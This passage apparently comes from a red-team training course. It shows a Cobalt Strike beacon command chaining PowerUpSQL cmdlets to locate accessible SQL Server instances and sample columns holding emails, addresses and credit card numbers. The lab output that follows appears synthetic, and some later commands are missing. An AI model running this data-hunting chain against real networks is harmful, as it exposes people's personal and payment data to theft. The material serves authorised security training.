Databases
PowerUpSQL provides various cmdlets designed for data searching and extraction. One such cmdlet is Get-SQLColumnSampleDataThreaded, which can search one or more instances for databases that contain particular keywords in the column names.
beacon> powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "email,address,credit,card" -SampleSize 5 | select instance, database, column, sample | ft -autosize
Instance Database Column Sample
-------- -------- ------ ------
sql-2.dev.cyberbotic.io,1433 master email ritzhaki0@gov.uk
sql-2.dev.cyberbotic.io,1433 master email ldureden1@angelfire.com
sql-2.dev.cyberbotic.io,1433 master email gfaussett2@quantcast.com
sql-2.dev.cyberbotic.io,1433 master email bcrumb3@cpanel.net
sql-2.dev.cyberbotic.io,1433 master email ldirkin4@123-reg.co.uk
sql-2.dev.cyberbotic.io,1433 master address 5575 8th Plaza
sql-2.dev.cyberbotic.io,1433 master address 759 Schmedeman Avenue
sql-2.dev.cyberbotic.io,1433 master address 077 Menomonie Parkway
sql-2.dev.cyberbotic.io,1433 master address 99 Gerald Street
sql-2.dev.cyberbotic.io,1433 master address 150 Raven Court
sql-2.dev.cyberbotic.io,1433 master credit_card 374288069616869
sql-2.dev.cyberbotic.io,1433 master credit_card 374288681554928
sql-2.dev.cyberbotic.io,1433 master credit_card 374283595554411
sql-2.dev.cyberbotic.io,1433 master credit_card 374283532455854
sql-2.dev.cyberbotic.io,1433 master credit_card 374288154929482 \
This can only search the instances you have direct access to; it won't traverse any SQL links. To search over the links use Get-SQLQuery.
\
Note the "employees" table. Next, list its columns.
\
Then finally, take a data sample.
\
If this is real data, don't extract multiple columns that can be correlated together. As in this example, take a sample of a column that doesn't really mean anything in isolation. To simulate data exfiltration of large dataset, have a look at Egress Assess.
Last updated